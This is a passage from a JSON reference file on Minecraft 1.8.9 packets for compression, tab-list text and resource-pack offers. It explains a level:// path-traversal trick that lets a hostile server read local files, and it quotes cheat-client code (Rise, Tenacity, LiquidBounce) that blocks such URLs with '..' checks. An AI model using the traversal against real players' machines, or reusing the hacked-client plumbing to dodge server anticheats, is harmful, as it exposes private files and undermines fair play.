     "overview": "No anticheat processes the title packet. The corpus is 'Title' keyword noise: inventory GUI titles (Hydro menus, TruthfulAC GUI menus, NCP InventoryListener, Arc InventoryListener, MinecraftAntiCheat MenuEvents), scoreboard and sidebar output (Shard), discord webhook labels (Negativity, FlopAC), and book-inventory code (Grim ExploitB, Peyang Books). The only packet-shaped hits are Artemis's five wrapper interfaces (PacketPlayServerTitle, TitlesClear, TitlesSetAnimation, TitlesSetSubtitle, TitlesSetText) plus its PacketRepository registration (SERVER_PLAY + 75), and the Negativity PacketType TITLE constant; none of these consume or validate the packet. Titles are cosmetic, unacknowledged and carry no timing or state the server re-checks, so there is nothing to flag.",
     "checks": []
    }
   },
   "wiki_notes": [
    "The fade-out value is the number of ticks spent fading out, not the time at which fading starts, mirroring the fade-in and stay semantics.",
    "MCP 1.8.9 S45PacketTitle implements Packet<INetHandlerPlayClient> dispatching to INetHandlerPlayClient.handleTitle; wire serde is readPacketData/writePacketData via readChatComponent, readEnumValue, readInt.",
    "1.8.9 callers: CommandTitle.processCommand sends new S45PacketTitle (line 83): https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/command/CommandTitle.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/S45PacketTitle/",
   "mcp_path": "net/minecraft/network/play/server/S45PacketTitle.java",
   "group": "play-client",
   "logic_classes": []
  },
  {
   "id": "S46PacketSetCompressionLevel",
   "hex": "0x46",
   "dec": 70,
   "dir": "CLIENTBOUND",
   "state": "PLAY",
   "name": "Set Compression Level",
   "desc": "Changes the compression threshold mid-game. Same as S03 but for PLAY state.",
   "tags": [
    "connection",
    "compression"
   ],
   "fields": [
    {
     "name": "threshold",
     "type": "VarInt",
     "desc": "New compression threshold"
    }
   ],
   "encoding": [
    [
     "Threshold",
     "VarInt",
     "-1 = disable"
    ]
   ],
   "mcp": [
    "NetHandlerPlayClient.handleSetCompressionLevel()"
   ],
   "handler": "INetHandlerPlayClient",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "Mid-connection compression threshold change. The client handler reads the VarInt threshold and, only for real network connections (isLocalChannel() false), reconfigures the Netty pipeline: it updates the threshold on the existing decompress decoder or inserts one, and symmetrically for the compress encoder. In vanilla 1.8.9 compression is negotiated once during the login state, so this play-state packet is effectively a modded-server feature."
     },
     {
      "h": "Vanilla handling",
      "p": "func_175100_a guards with 'if (!netManager.isLocalChannel())' and calls netManager.setCompressionTreshold(threshold). NetworkManager.setCompressionTreshold mutates the pipeline handlers in place: NettyCompressionDecoder for incoming data and NettyCompressionEncoder for outgoing, inserting the handlers when absent and removing them when the threshold is negative. From that point every packet larger than the threshold is zlib-compressed on the wire."
     },
     {
      "h": "Why clients touch it",
      "p": "No module in the 8 clients references S46 beyond the vanilla handler, the packet registry, and Rise's NetworkAPI script-bridge class list. A disabler has no use for it: compression changes do not alter packet semantics, timings, or the ability to spoof data, and the threshold is a server policy the client cannot exploit. Anything that cares about compression (packet-size spoofing) operates on payload construction, not on this control packet."
     },
     {
      "h": "Exploit surface",
      "p": "The packet arrives mid-stream and the client applies it immediately, so a hostile server could toggle the threshold repeatedly; each change reconfigures the pipeline, but the cost is negligible and the result is simply a different compression ratio. A negative threshold disables compression. There is no length validation: an enormous threshold effectively disables compression for the session, which is only a bandwidth concern. The change applies to the next packet in flight, not retroactively."
     }
    ],
    "overview": "Play-state compression threshold control, handled entirely inside the Netty pipeline: the vanilla handler reconfigures the decompress and compress handlers only for non-local channels. None of the 8 clients has a module for it; it is invisible to gameplay and to anti-cheat logic.",
    "server_handling": "The server-side counterpart is NetworkManager.setCompressionTreshold, which the client handler invokes after receiving S46. Vanilla 1.8.9 negotiates compression once during login (the login-state S03PacketEnableCompression) and never sends S46; the packet exists for modded and plugin servers that change the threshold after the play state begins. The threshold applies to both directions from the moment the pipeline is reconfigured.",
    "protocol_notes": "Single VarInt threshold; any negative value disables compression. The client skips the whole operation for local channels (singleplayer and LAN), so the handler is a one-line guard around a pipeline mutation. Because the packet is processed inline in the receiving thread, the new threshold takes effect for the very next packet the encoder writes, with no handshake or acknowledgement.",
    "anticheat_landscape": "Invisible to anti-cheats. Compression level is transport policy, not gameplay data; no movement, combat or timing check reads it. The only observable effect of a changed threshold is packet sizes on the wire, which server-side proxies handle transparently.",
    "modules": [],
    "related": [
     "S03PacketEnableCompression",
     "S00PacketKeepAlive"
    ],
    "anticheat": {
     "overview": "Compression level is transport policy, not gameplay data, and the corpus reflects that: the only hit is Artemis's packet generator HardcodeMap, which maps the name PacketPlayOutSetCompression to the PacketPlayServerCompression interface for the protocol generator. That is build infrastructure, not a check. No anticheat reads the threshold; changing it only changes wire sizes, which proxies handle transparently, so there is no flag surface.",
     "checks": []
    }
   },
   "wiki_notes": [
    "Single VarInt threshold applied mid-game to the Netty pipeline; a negative value disables compression. Takes effect on the very next packet.",
    "Vanilla 1.8.9 negotiates compression once at login via S03; S46 exists for modded servers that change the threshold during play.",
    "MCP 1.8.9 S46PacketSetCompressionLevel implements Packet<INetHandlerPlayClient> dispatching to INetHandlerPlayClient.handleSetCompressionLevel; wire serde is readPacketData/writePacketData via readVarIntFromBuffer."
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/S46PacketSetCompressionLevel/",
   "mcp_path": "net/minecraft/network/play/server/S46PacketSetCompressionLevel.java",
   "group": "play-client",
   "logic_classes": []
  },
  {
   "id": "S47PacketPlayerListHeaderFooter",
   "hex": "0x47",
   "dec": 71,
   "dir": "CLIENTBOUND",
   "state": "PLAY",
   "name": "Player List Header Footer",
   "desc": "Sets text above and below the tab player list.",
   "tags": [
    "player",
    "tablist",
    "gui"
   ],
   "fields": [
    {
     "name": "header",
     "type": "IChatComponent",
     "desc": "Header text (JSON)"
    },
    {
     "name": "footer",
     "type": "IChatComponent",
     "desc": "Footer text (JSON)"
    }
   ],
   "encoding": [
    [
     "Header",
     "Chat Component (JSON)",
     ""
    ],
    [
     "Footer",
     "Chat Component (JSON)",
     ""
    ]
   ],
   "mcp": [
    "NetHandlerPlayClient.handlePlayerListHeaderFooter()"
   ],
   "handler": "INetHandlerPlayClient",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "The server paints arbitrary text above and below the tab list. Two IChatComponent JSON strings (header, footer) arrive whenever the server wants to update the display: restart notices, rules, game-state text. The packet is clientbound-only, PLAY state, and generates no reply. It is pure presentation state pushed from the server, with no client-controlled round trip."
     },
     {
      "h": "Vanilla handling",
      "p": "NetHandlerPlayClient.handlePlayerListHeaderFooter writes the header and footer into GuiPlayerTabOverlay; when the formatted text is empty the field is set to null, which hides that line. Nothing is sent back, so there is no packet the client can influence, delay or spoof."
     },
     {
      "h": "Why clients touch it",
      "p": "None of the 8 clients ships a module that intercepts S47. The only non-vanilla reference in the corpus is the Rise 6.1.30 and 6.2.4 script API (NetworkAPI), which registers the class in the packet list exposed to JavaScript so user scripts can attach receive handlers. Memeware, Nekoware, Sigma, Spicy and Tenacity touch only the bundled net/minecraft handler. The packet offers no timing, state or spoofing advantage, which is exactly why module authors ignore it."
     },
     {
      "h": "Exploit surface",
      "p": "The content is untrusted server JSON rendered into the tab GUI. Malformed JSON is caught by the chat-component reader, but very long header or footer text and deep component nesting stress the client renderer. No client in the corpus exploits or defends against this; the packet is not a cheating surface."
     }
    ],
    "overview": "A pure presentation packet with zero module coverage in the 8 clients: modules is empty because no module file in the corpus references S47. The only non-vanilla hit is the Rise 6.x NetworkAPI script registry listing the class so user scripts can hook it.",
    "server_handling": "Server side, the packet is constructed from chat components and pushed via sendPacket; there is no server-side processing of a reply because none exists. The header and footer are typically rebuilt by plugins on a timer or on state change.",
    "protocol_notes": "Two chat components read via readChatComponent (VarInt length prefix plus JSON UTF-8). The vanilla handler nulls a field when its formatted text length is 0, so an empty string hides the line instead of rendering blank space. Wire cost is the two JSON strings and their length prefixes.",
    "anticheat_landscape": "No anti-cheat measures this packet: it has no timing value and no client response. The only related concern is client-side stability under hostile JSON, which is a client defense topic rather than an anti-cheat one.",
    "modules": [],
    "general_hooks": "Rise 6.1.30 and 6.2.4 expose S47 to scripts through NetworkAPI's packet registry; no event bus in any of the 8 clients has a module handler for it.",
    "client_variations": "Only Rise 6.x differs from vanilla: its NetworkAPI packet list includes S47PacketPlayerListHeaderFooter.class. All other clients carry the unmodified NetHandlerPlayClient handler.",
    "related": [
     "S38PacketPlayerListItem",
     "S02PacketChat"
    ],
    "anticheat": {
     "overview": "The corpus for this packet is entirely 'Tab' keyword noise across 2087 lines, with zero references to the packet, its wrapper, or its header and footer fields. The noise splits into tab-complete (C14) processing (Grim ChatA and CrashH, FlopAC WrappedInTabComplete, Artemis TabComplete packet wrappers and registrations, BetterAnticheat ImpossibleCompletionCheck, Photon TabCompleteSupplier), tab-list rendering (Shard TabListOutput, intave TablistMutator for fake players), command tab-completion handlers (NCP commands, Photon InternalCommand, Rammelkast and AntiCheatPlus config tables), and math table code (Hydro ApacheMath and SensitivityTable, intave's ASM library). The packet is pure presentation with no reply and no timing value, so no anticheat measures it.",
     "checks": []
    }
   },
   "wiki_notes": [
    "The vanilla server never sends this packet; it exists for custom servers and plugins to paint extra information above and below the tab list.",
    "Clearing a line is done by sending an empty text component, which the client renders as a hidden line rather than blank space.",
    "MCP 1.8.9 S47PacketPlayerListHeaderFooter implements Packet<INetHandlerPlayClient> dispatching to INetHandlerPlayClient.handlePlayerListHeaderFooter; wire serde is readPacketData/writePacketData via readChatComponent."
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/S47PacketPlayerListHeaderFooter/",
   "mcp_path": "net/minecraft/network/play/server/S47PacketPlayerListHeaderFooter.java",
   "group": "play-client",
   "logic_classes": []
  },
  {
   "id": "S48PacketResourcePackSend",
   "hex": "0x48",
   "dec": 72,
   "dir": "CLIENTBOUND",
   "state": "PLAY",
   "name": "Resource Pack Send",
   "desc": "Sends a resource pack URL and hash. Client downloads and applies it.",
   "tags": [
    "resourcepack",
    "download"
   ],
   "fields": [
    {
     "name": "url",
     "type": "String",
     "desc": "Download URL"
    },
    {
     "name": "hash",
     "type": "String",
     "desc": "SHA-1 hash"
    }
   ],
   "encoding": [
    [
     "URL",
     "String",
     ""
    ],
    [
     "Hash",
     "String",
     "SHA-1 hash"
    ]
   ],
   "mcp": [
    "NetHandlerPlayClient.handleResourcePackSend()"
   ],
   "handler": "INetHandlerPlayClient",
   "notes": "Client responds with C19PacketResourcePackStatus. Hash is used to verify download integrity.",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "The server orders the client to load a resource pack. Two strings travel: the URL and a SHA-1 hash used for integrity. The vanilla flow downloads the pack, applies it and answers with C19PacketResourcePackStatus (ACCEPTED, DECLINED, FAILED_DOWNLOAD, SUCCESSFULLY_LOADED). The level:// scheme is the sharp edge: vanilla maps level://name to a file inside the local saves directory, so the URL doubles as a local file path."
     },
     {
      "h": "Vanilla handling",
      "p": "handleResourcePack branches on the scheme. level:// URLs resolve against mcDataDir/saves: if the file exists the pack loads and ACCEPTED then SUCCESSFULLY_LOADED are sent; if not, FAILED_DOWNLOAD. HTTP(S) URLs go through the resource pack repository asynchronously, with a GUI prompt unless the server's resource mode is ENABLED or DISABLED."
     },
     {
      "h": "Why clients touch it",
      "p": "Three defensive implementations in the corpus. Rise 6.1.30 and 6.2.4 run ResourcePackCheck as a SecurityFeature: it validates the scheme, decodes the level:// path, and rejects any URL containing \"..\" or not ending in /resources.zip, answering with C19 FAILED_DOWNLOAD. Tenacity's AntiExploit module cancels the packet and sends FAILED_DOWNLOAD for the same classes of malicious URLs. LiquidSense Dev injects MixinNetHandlerPlayClient with a HEAD-cancellable @Inject on handleResourcePack that performs the identical scheme and level:// checks, replying C19 FAILED_DOWNLOAD and cancelling the vanilla handler on failure. All three target the level:// traversal that reads arbitrary files from the saves folder."
     },
     {
      "h": "Exploit surface",
      "p": "A level:// URL with ../ segments walks out of the saves directory into other local files, which the client then loads as a resource pack; vanilla does not verify the hash for level:// packs. Replying FAILED_DOWNLOAD keeps the server's state machine consistent so it stops waiting for a status, which is why both defenses send C19 rather than silently dropping the packet."
     }
    ],
    "overview": "The resource pack push. Rise 6.x defends it as a SecurityFeature (ResourcePackCheck), Tenacity as an AntiExploit module, and LiquidSense Dev as an @Inject guard on MixinNetHandlerPlayClient; all three reject level:// path traversal URLs and reply C19 FAILED_DOWNLOAD to keep the server's status state machine moving.",
    "server_handling": "Server side, the packet is built by EntityPlayerMP.loadResourcePack or sendResourcePack with an arbitrary URL and hash supplied by plugins or server config. The server waits for a C19 status before re-prompting; a client that never replies eventually stops receiving pack offers. The hash is echoed back verbatim in C19.",
    "protocol_notes": "Two strings: URL and SHA-1 hash. The level:// scheme is special-cased client-side, and the hash is ignored for level:// packs in vanilla. C19 carries the same hash back, so the status reply identifies which offer it answers. The packet id 0x48 is clientbound-only in PLAY state.",
    "anticheat_landscape": "Not a movement or combat surface: no anti-cheat measures S48 traffic. The defense angle is client security (file disclosure via level://), and both corpus implementations are client-side self-defense rather than anti-cheat bypasses.",
    "modules": [
     {
      "name": "ResourcePackCheck",
      "found_in": [
       "Rise 6.2.4",
       "Rise 6.1.30"
      ],
      "purpose": "Block malicious resource pack offers, specifically level:// URLs that read local files, before the vanilla download flow runs.",
      "how_it_works": "A SecurityFeature (not a toggleable module) whose handle() inspects every packet: for S48 it takes the URL and hash, and only acts on level:// URLs. The URL is parsed as a URI, the scheme must be http, https or level, and a decoded level path containing \"..\" or not ending in /resources.zip is rejected with C19 FAILED_DOWNLOAD. The attempted path is printed to stdout.",
      "detailed_code": "// ===== FILE: Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/security/impl/ResourcePackCheck.java =====\npackage com.alan.clients.security.impl;\n\nimport com.alan.clients.security.SecurityFeature;\nimport com.alan.clients.util.packet.PacketUtil;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.C19PacketResourcePackStatus;\nimport net.minecraft.network.play.server.S48PacketResourcePackSend;\n\nimport java.net.URI;\nimport java.net.URISyntaxException;\nimport java.net.URLDecoder;\nimport java.nio.charset.StandardCharsets;\n\npublic final class ResourcePackCheck extends SecurityFeature {\n\n    public ResourcePackCheck() {\n        super(\"Resource Pack Check\", \"Server attempted to view files on the computer\");\n    }\n\n    @Override\n    public boolean handle(final Packet<?> packet) {\n        if (packet instanceof S48PacketResourcePackSend) {\n            final S48PacketResourcePackSend wrapper = ((S48PacketResourcePackSend) packet);\n\n            final String url = wrapper.getURL();\n            final String hash = wrapper.getHash();\n\n            if (url.toLowerCase().startsWith(\"level://\")) {\n                return check(url, hash);\n            }\n        }\n\n        return false;\n    }\n\n    private boolean check(String url, final String hash) {\n        try {\n            final URI uri = new URI(url);\n\n            final String scheme = uri.getScheme();\n            final boolean isLevelProtocol = \"level\".equals(scheme);\n\n            if (!(\"http\".equals(scheme) || \"https\".equals(scheme) || isLevelProtocol)) {\n                throw new URISyntaxException(url, \"Wrong protocol\");\n            }\n\n            url = URLDecoder.decode(url.substring(\"level://\".length()), StandardCharsets.UTF_8.toString());\n\n            if (isLevelProtocol && (url.contains(\"..\") || !url.endsWith(\"/resources.zip\"))) {\n                System.out.println(\"Server tried to access the path: \" + url);\n\n                throw new URISyntaxException(url, \"Invalid levelstorage resource pack path\");\n            }\n\n            return false;\n        } catch (final Exception e) {\n            PacketUtil.sendNoEvent(new C19PacketResourcePackStatus(hash, C19PacketResourcePackStatus.Action.FAILED_DOWNLOAD));\n            return true;\n        }\n    }\n}\n// NOTE (AI): The check is deliberately narrow: http and https passes through untouched, only the level:// file-reading scheme is validated. The FAILED_DOWNLOAD reply keeps the server from waiting on a status forever.",
      "code_source": "Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/security/impl/ResourcePackCheck.java",
      "vanilla_hook": "Security feature packet filter, runs on the receive path before the handler.",
      "anti_cheat_notes": "Invisible to anti-cheats and servers: the client simply reports a failed download, which is a legitimate outcome a vanilla client produces for a missing or corrupt pack.",
      "variations": "Identical in Rise 6.1.30 and 6.2.4 (same relative path, same logic). Rise also registers S48 in the NetworkAPI script packet list alongside this check."
     },
     {
      "name": "AntiExploit",
      "found_in": [
       "Tenacity 6.0"
      ],
      "purpose": "Cancel malicious resource pack offers inside a general anti-exploit module, replying FAILED_DOWNLOAD so the server does not stall.",
      "how_it_works": "PacketReceiveEvent handler: for S48 the URL is parsed as a URI; non-http(s)/level schemes cancel the packet, and level:// URLs containing \"..\" or not ending in /resources.zip are cancelled with a C19 FAILED_DOWNLOAD reply. URISyntaxException also cancels with FAILED_DOWNLOAD. The same handler guards S43PacketCamera, S2APacketParticles, S27PacketExplosion, S18PacketEntityTeleport and S11PacketSpawnExperienceOrb, plus a 100-packet-per-second counter.",
      "detailed_code": "// ===== FILE: Tenacity 6.0, dev/tenacity/module/impl/misc/AntiExploit.java =====\npackage dev.tenacity.module.impl.misc;\n\nimport dev.tenacity.event.IEventListener;\nimport dev.tenacity.event.impl.packet.PacketReceiveEvent;\nimport dev.tenacity.module.Module;\nimport dev.tenacity.module.ModuleCategory;\nimport dev.tenacity.util.misc.ChatUtil;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.C19PacketResourcePackStatus;\nimport net.minecraft.network.play.server.*;\n\nimport java.net.URI;\nimport java.net.URISyntaxException;\n\npublic class AntiExploit extends Module {\n\n\n\n    private long lastExplosion = 0, lastExperience = 0;\n    private int invalidExperience = 0;\n   final int PACKET_THRESHOLD = 100;\n    final long CHECK_INTERVAL = 1000;\n    int packetCount = 0;\n\n    public AntiExploit() {\n        super(\"AntiExploit\", \"Prevents server exploits\", ModuleCategory.MISC);\n    }\n\n    private final IEventListener<PacketReceiveEvent> onReceivePacket = event -> {\n        Packet<?> packet = event.getPacket();\n        handlePacketCount();\n        if(packet instanceof S48PacketResourcePackSend) {\n            S48PacketResourcePackSend resourcePack = (S48PacketResourcePackSend) packet;\n\n            try {\n                URI uri = new URI(resourcePack.getURL());\n                String scheme = uri.getScheme();\n\n                boolean isLevelProtocol = scheme.equalsIgnoreCase(\"level\");\n                boolean isHttpProtocol = scheme.equalsIgnoreCase(\"http\");\n                boolean isHttpsProtocol = scheme.equalsIgnoreCase(\"https\");\n\n                if(!isHttpProtocol && !isHttpsProtocol && !isLevelProtocol) {\n                    ChatUtil.print(\"§cBlocked Exploit: Resource Pack\");\n                    event.cancel();\n                } else if(isLevelProtocol && (resourcePack.getURL().contains(\"..\") || !((S48PacketResourcePackSend) packet).getURL().endsWith(\"/resources.zip\"))) {\n                    ChatUtil.print(\"§cBlocked Exploit: File Access\");\n                    event.cancel();\n                    mc.getNetHandler().addToSendQueue(new C19PacketResourcePackStatus(((S48PacketResourcePackSend) packet).getHash(), C19PacketResourcePackStatus.Action.FAILED_DOWNLOAD));\n                }\n            } catch (URISyntaxException exception) {\n                ChatUtil.print(\"§cBlocked Exploit: Resource Pack\");\n                event.cancel();\n                mc.getNetHandler().addToSendQueue(new C19PacketResourcePackStatus(((S48PacketResourcePackSend) packet).getHash(), C19PacketResourcePackStatus.Action.FAILED_DOWNLOAD));\n            }\n        } else if(packet instanceof S43PacketCamera && !mc.thePlayer.isSpectator()) {\n            ChatUtil.print(\"§cBlocked Exploit: Crash\");\n            event.cancel();\n        } else if(packet instanceof S2APacketParticles) {\n            S2APacketParticles particles = (S2APacketParticles) packet;\n            if(Math.abs(particles.getParticleSpeed()) >= 1) {\n                ChatUtil.print(\"§cBlocked Exploit: Particles\");\n                event.cancel();\n            } else if(((S2APacketParticles) packet).getParticleCount() > 1) {\n                ChatUtil.print(\"§cBlocked Exploit: Crash\");\n                event.cancel();\n            }\n        } else if(packet instanceof S27PacketExplosion) {\n            S27PacketExplosion explosion = (S27PacketExplosion) packet;\n\n            if(Math.abs(explosion.getStrength()) > 1) {\n                ChatUtil.print(\"§cBlocked Exploit: Crash\");\n                event.cancel();\n            } else if(System.currentTimeMillis() - lastExplosion <= 1) {\n                ChatUtil.print(\"§cBlocked Exploit: Crash\");\n                event.cancel();\n            } else if(packet instanceof S2APacketParticles) {\n            S2APacketParticles particles = (S2APacketParticles) packet;\n\n            if(Math.abs(particles.getParticleSpeed()) > 1) {\n                ChatUtil.print(\"§cBlocked Exploit: Particles\");\n                event.cancel();\n            } else if(particles.getParticleCount() >= 1) {\n                ChatUtil.print(\"§cBlocked Exploit: Crash\");\n                event.cancel();\n            }\n        }\n\n            lastExplosion = System.currentTimeMillis();\n        } else if(packet instanceof S18PacketEntityTeleport) {\n            S18PacketEntityTeleport teleport = (S18PacketEntityTeleport) packet;\n\n            double packetX = Math.abs(teleport.getX());\n            double packetY = Math.abs(teleport.getY());\n            double packetZ = Math.abs(teleport.getZ());\n\n            if(packetX > 30000000 || packetY > 30000000 || packetZ > 30000000) {\n                ChatUtil.print(\"§cBlocked Exploit: Teleport\");\n                event.cancel();\n            }\n        } else if(packet instanceof S11PacketSpawnExperienceOrb) {\n            if(System.currentTimeMillis() - lastExperience <= 1) {\n                invalidExperience++;\n\n                if(invalidExperience >= 2) {\n                    ChatUtil.print(\"§cBlocked Exploit: Crash\");\n                    event.cancel();\n                }\n            } else {\n                invalidExperience = 0;\n            }\n            lastExperience = System.currentTimeMillis();\n        }\n\n    };\n\n    private void triggerKick() {\n        ChatUtil.print(\"§cAbnormal packet activity detected. Kicking player...\");\n    }\n        private void handlePacketCount() {\n            long currentTime = System.currentTimeMillis();\n\n            long lastPacketCheckTime = 0;\n            if (currentTime - lastPacketCheckTime > CHECK_INTERVAL) {\n                packetCount = 0;\n                lastPacketCheckTime = currentTime;\n            }\n            packetCount++;\n            if (packetCount > PACKET_THRESHOLD) {\n                triggerKick();\n                packetCount = 0;\n        }\n\n    }\n\n}\n// NOTE (AI): AntiExploit is a catch-all client defense; the S48 branch mirrors Rise's ResourcePackCheck logic but as a user-facing module that prints a chat message for each blocked offer. The companion util Enhancements.validateResourcePackUrl holds the URL validation used elsewhere.",
      "code_source": "Tenacity 6.0, dev/tenacity/module/impl/misc/AntiExploit.java",
      "vanilla_hook": "PacketReceiveEvent.",
      "anti_cheat_notes": "Cancelling a clientbound packet is invisible to the server; the FAILED_DOWNLOAD reply is the honest part that prevents state desync.",
      "variations": "Tenacity's Enhancements.validateResourcePackUrl (dev/tenacity/util/misc/Enhancements.java) centralizes the same URL check for non-module call sites."
     },
     {
      "name": "MixinNetHandlerPlayClient (resource pack guard)",
      "found_in": [
       "LiquidSense Dev"
      ],
      "purpose": "Block malicious resource pack offers at the vanilla handler, cancelling the download before it starts.",
      "how_it_works": "An @Inject(method = \"handleResourcePack\", at = @At(\"HEAD\"), cancellable = true) mixin on NetHandlerPlayClient. It parses the URL as a URI, requires the scheme to be http, https or level, and rejects level:// URLs containing \"..\" or not ending in /resources.zip. On any URISyntaxException it logs the failure, sends C19PacketResourcePackStatus FAILED_DOWNLOAD through netManager, and cancels the vanilla handler.",
      "detailed_code": "// ===== FILE: LiquidSense Dev, net/ccbluex/liquidbounce/injection/forge/mixins/network/MixinNetHandlerPlayClient.java =====\n/*\n * LiquidBounce Hacked Client\n * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge.\n * https://github.com/CCBlueX/LiquidBounce/\n */\npackage net.ccbluex.liquidbounce.injection.forge.mixins.network;\n\nimport io.netty.buffer.Unpooled;\nimport net.ccbluex.liquidbounce.LiquidBounce;\nimport net.ccbluex.liquidbounce.event.EntityMovementEvent;\nimport net.ccbluex.liquidbounce.event.PacketSenEvent;\nimport net.ccbluex.liquidbounce.features.module.modules.movement.Fly;\nimport net.ccbluex.liquidbounce.features.special.AntiForge;\nimport net.ccbluex.liquidbounce.utils.ClientUtils;\nimport net.minecraft.client.ClientBrandRetriever;\nimport net.minecraft.client.Minecraft;\nimport net.minecraft.client.entity.EntityPlayerSP;\nimport net.minecraft.client.gui.GuiDownloadTerrain;\nimport net.minecraft.client.multiplayer.PlayerControllerMP;\nimport net.minecraft.client.multiplayer.WorldClient;\nimport net.minecraft.client.network.NetHandlerPlayClient;\nimport net.minecraft.entity.Entity;\nimport net.minecraft.entity.player.EntityPlayer;\nimport net.minecraft.inventory.Container;\nimport net.minecraft.network.*;\nimport net.minecraft.network.play.client.C0FPacketConfirmTransaction;\nimport net.minecraft.network.play.client.C17PacketCustomPayload;\nimport net.minecraft.network.play.client.C19PacketResourcePackStatus;\nimport net.minecraft.network.play.server.S01PacketJoinGame;\nimport net.minecraft.network.play.server.S14PacketEntity;\nimport net.minecraft.network.play.server.S32PacketConfirmTransaction;\nimport net.minecraft.network.play.server.S48PacketResourcePackSend;\nimport net.minecraft.world.WorldSettings;\nimport org.spongepowered.asm.mixin.Final;\nimport org.spongepowered.asm.mixin.Mixin;\nimport org.spongepowered.asm.mixin.Overwrite;\nimport org.spongepowered.asm.mixin.Shadow;\nimport org.spongepowered.asm.mixin.injection.At;\nimport org.spongepowered.asm.mixin.injection.Inject;\nimport org.spongepowered.asm.mixin.injection.callback.CallbackInfo;\n\nimport java.net.URI;\nimport java.net.URISyntaxException;\n\n@Mixin(NetHandlerPlayClient.class)\npublic abstract class MixinNetHandlerPlayClient {\n\n    @Shadow\n    @Final\n    private NetworkManager netManager;\n\n    @Shadow\n    private Minecraft gameController;\n\n    @Shadow\n    private WorldClient clientWorldController;\n\n    @Shadow\n    public int currentServerMaxPlayers;\n\n    @Inject(method = \"handleResourcePack\", at = @At(\"HEAD\"), cancellable = true)\n    private void handleResourcePack(final S48PacketResourcePackSend p_handleResourcePack_1_, final CallbackInfo callbackInfo) {\n        final String url = p_handleResourcePack_1_.getURL();\n        final String hash = p_handleResourcePack_1_.getHash();\n\n        try {\n            final String scheme = new URI(url).getScheme();\n            final boolean isLevelProtocol = \"level\".equals(scheme);\n\n            if(!\"http\".equals(scheme) && !\"https\".equals(scheme) && !isLevelProtocol)\n                throw new URISyntaxException(url, \"Wrong protocol\");\n\n            if(isLevelProtocol && (url.contains(\"..\") || !url.endsWith(\"/resources.zip\")))\n                throw new URISyntaxException(url, \"Invalid levelstorage resourcepack path\");\n        }catch(final URISyntaxException e) {\n            ClientUtils.getLogger().error(\"Failed to handle resource pack\", e);\n            netManager.sendPacket(new C19PacketResourcePackStatus(hash, C19PacketResourcePackStatus.Action.FAILED_DOWNLOAD));\n            callbackInfo.cancel();\n        }\n    }\n\n    @Inject(method = \"handleJoinGame\", at = @At(\"HEAD\"), cancellable = true)\n    private void handleJoinGameWithAntiForge(S01PacketJoinGame packetIn, final CallbackInfo callbackInfo) {\n        if(!AntiForge.enabled || !AntiForge.blockFML || Minecraft.getMinecraft().isIntegratedServerRunning())\n            return;\n\n        PacketThreadUtil.checkThreadAndEnqueue(packetIn, (NetHandlerPlayClient) (Object) this, gameController);\n        this.gameController.playerController = new PlayerControllerMP(gameController, (NetHandlerPlayClient) (Object) this);\n        this.clientWorldController = new WorldClient((NetHandlerPlayClient) (Object) this, new WorldSettings(0L, packetIn.getGameType(), false, packetIn.isHardcoreMode(), packetIn.getWorldType()), packetIn.getDimension(), packetIn.getDifficulty(), this.gameController.mcProfiler);\n        this.gameController.gameSettings.difficulty = packetIn.getDifficulty();\n        this.gameController.loadWorld(this.clientWorldController);\n        this.gameController.thePlayer.dimension = packetIn.getDimension();\n        this.gameController.displayGuiScreen(new GuiDownloadTerrain((NetHandlerPlayClient) (Object) this));\n        this.gameController.thePlayer.setEntityId(packetIn.getEntityId());\n        this.currentServerMaxPlayers = packetIn.getMaxPlayers();\n        this.gameController.thePlayer.setReducedDebug(packetIn.isReducedDebugInfo());\n        this.gameController.playerController.setGameType(packetIn.getGameType());\n        this.gameController.gameSettings.sendSettingsToServer();\n        this.netManager.sendPacket(new C17PacketCustomPayload(\"MC|Brand\", (new PacketBuffer(Unpooled.buffer())).writeString(ClientBrandRetriever.getClientModName())));\n        callbackInfo.cancel();\n    }\n\n    @Inject(method = \"handleEntityMovement\", at = @At(value = \"FIELD\", target = \"Lnet/minecraft/entity/Entity;onGround:Z\"))\n    private void handleEntityMovementEvent(S14PacketEntity packetIn, final CallbackInfo callbackInfo) {\n        final Entity entity = packetIn.getEntity(this.clientWorldController);\n\n        if(entity != null)\n            LiquidBounce.eventManager.callEvent(new EntityMovementEvent(entity));\n    }\n\n    @Inject(method = \"addToSendQueue\", at = @At(\"HEAD\"), cancellable = true)\n    private void senpacket(Packet<?> packet, final CallbackInfo callbackInfo) {\n        final PacketSenEvent event = new PacketSenEvent(packet);\n        LiquidBounce.eventManager.callEvent(event);\n        if (event.isCancelled()) {\n            callbackInfo.cancel();\n        }\n    }\n    @Overwrite\n    public void handleConfirmTransaction(S32PacketConfirmTransaction packetIn) {\n        PacketThreadUtil.checkThreadAndEnqueue((Packet)packetIn, (INetHandler)this, this.gameController);\n        Container container = null;\n        EntityPlayerSP entityplayer = Minecraft.getMinecraft().thePlayer;\n        if (packetIn.getWindowId() == 0) {\n            container = entityplayer.inventoryContainer;\n        } else if (packetIn.getWindowId() == entityplayer.openContainer.windowId) {\n            container = entityplayer.openContainer;\n        }\n        if (container != null && !packetIn.func_148888_e()) {\n            Minecraft.getMinecraft().getNetHandler().addToSendQueue(new C0FPacketConfirmTransaction(packetIn.getWindowId(), packetIn.getActionNumber(), true));\n        }\n    }\n}\n// NOTE (AI): Only the handleResourcePack inject concerns S48; the same file also injects handleJoinGame (AntiForge), handleEntityMovement, addToSendQueue, and overwrites handleConfirmTransaction, which are covered by other packets' writeups.",
      "code_source": "LiquidSense Dev, net/ccbluex/liquidbounce/injection/forge/mixins/network/MixinNetHandlerPlayClient.java",
      "vanilla_hook": "@Inject HEAD of NetHandlerPlayClient.handleResourcePack (mixin).",
